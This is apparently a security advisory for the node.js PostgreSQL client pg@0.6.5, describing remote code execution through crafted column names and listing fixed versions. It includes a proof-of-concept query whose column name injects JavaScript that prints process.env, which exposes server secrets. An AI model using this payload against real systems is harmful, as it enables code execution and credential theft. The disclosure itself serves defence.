pg@0.6.5 vulnerabilities

pg is a non-blocking PostgreSQL client for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

PoC:

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
});

Upgrade pg to version 2.11.2, 3.6.4, 4.5.7, 5.2.1, 6.0.5, 6.1.6, 6.2.5, 6.3.3, 6.4.2, 7.0.2, 7.1.2 or higher.
